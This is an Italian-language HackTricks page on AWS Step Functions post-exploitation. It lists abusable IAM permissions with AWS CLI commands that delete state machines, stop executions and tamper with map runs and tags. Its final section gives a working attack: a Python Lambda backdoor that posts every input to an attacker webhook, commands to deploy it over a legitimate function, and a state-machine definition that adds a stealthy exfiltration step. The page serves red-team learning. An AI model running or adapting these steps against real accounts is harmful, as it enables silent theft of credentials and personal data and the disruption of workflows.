AWS - Step Functions Post Exploitation

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Step Functions

Per ulteriori informazioni su questo servizio AWS, controlla:

AWS - Step Functions Enum

states:RevealSecrets

Questo permesso consente di rivelare dati segreti all'interno di un'esecuzione. Per farlo, è necessario impostare il livello di ispezione su TRACE e il parametro revealSecrets su true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente le macchine a stati, le loro versioni e alias. Questo può interrompere flussi di lavoro critici, causare perdita di dati e richiedere tempo significativo per recuperare e ripristinare le macchine a stati interessate. Inoltre, consentirebbe a un attaccante di coprire le tracce utilizzate, interrompere le indagini forensi e potenzialmente compromettere le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato.

note

  • Eliminando una macchina a stati si eliminano anche tutte le sue versioni e alias associati.
  • Eliminando un alias di macchina a stati non si eliminano le versioni della macchina a stati che fanno riferimento a questo alias.
  • Non è possibile eliminare una versione di macchina a stati attualmente referenziata da uno o più alias.
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Impatto Potenziale: Interruzione dei flussi di lavoro critici, perdita di dati e inattività operativa.

states:UpdateMapRun

Un attaccante con questo permesso sarebbe in grado di manipolare la configurazione di fallimento del Map Run e l'impostazione parallela, potendo aumentare o diminuire il numero massimo di esecuzioni di flussi di lavoro secondari consentiti, influenzando direttamente le prestazioni del servizio. Inoltre, un attaccante potrebbe manomettere la percentuale e il conteggio di fallimento tollerati, potendo ridurre questo valore a 0 in modo che ogni volta che un elemento fallisce, l'intero map run fallirebbe, influenzando direttamente l'esecuzione della macchina a stati e potenzialmente interrompendo flussi di lavoro critici.

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Impatto Potenziale: Degradazione delle prestazioni e interruzione dei flussi di lavoro critici.

states:StopExecution

Un attaccante con questo permesso potrebbe essere in grado di fermare l'esecuzione di qualsiasi macchina a stati, interrompendo flussi di lavoro e processi in corso. Questo potrebbe portare a transazioni incomplete, operazioni aziendali bloccate e potenziale corruzione dei dati.

warning

Questa azione non è supportata da express state machines.

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Impatto Potenziale: Interruzione dei flussi di lavoro in corso, inattività operativa e potenziale corruzione dei dati.

states:TagResource, states:UntagResource

Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di Step Functions, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Impatto Potenziale: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo accessi basate su tag.


states:UpdateStateMachine, lambda:UpdateFunctionCode

Un attaccante che compromette un utente o un ruolo con i seguenti permessi:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...può condurre un attacco post-exploitation ad alto impatto e furtivo combinando il backdooring di Lambda con la manipolazione della logica di Step Function.

Questo scenario presuppone che la vittima utilizzi AWS Step Functions per orchestrare flussi di lavoro che elaborano input sensibili, come credenziali, token o PII.

Esempio di invocazione della vittima:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Se la Step Function è configurata per invocare un Lambda come LegitBusinessLogic, l'attaccante può procedere con due varianti di attacco furtive:


Aggiornato la funzione lambda

L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (LegitBusinessLogic) per esfiltrare silenziosamente i dati di input.

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Aggiungi uno Stato Maligno alla Funzione di Passaggio

In alternativa, l'attaccante può iniettare uno stato di esfiltrazione all'inizio del flusso di lavoro aggiornando la definizione della Funzione di Passaggio.

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

L'attaccante può anche essere più furtivo aggiornando la definizione dello stato a qualcosa del genere { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } dove la vittima non si accorgerà della differenza


Configurazione della Vittima (Contesto per l'Exploit)

  • Una Step Function (LegitStateMachine) viene utilizzata per elaborare input sensibili degli utenti.
  • Chiama una o più funzioni Lambda come LegitBusinessLogic.

Impatto Potenziale:

  • Esfiltrazione silenziosa di dati sensibili, inclusi segreti, credenziali, chiavi API e PII.
  • Nessun errore o fallimento visibile nell'esecuzione del workflow.
  • Difficile da rilevare senza auditare il codice Lambda o le tracce di esecuzione.
  • Abilita una persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks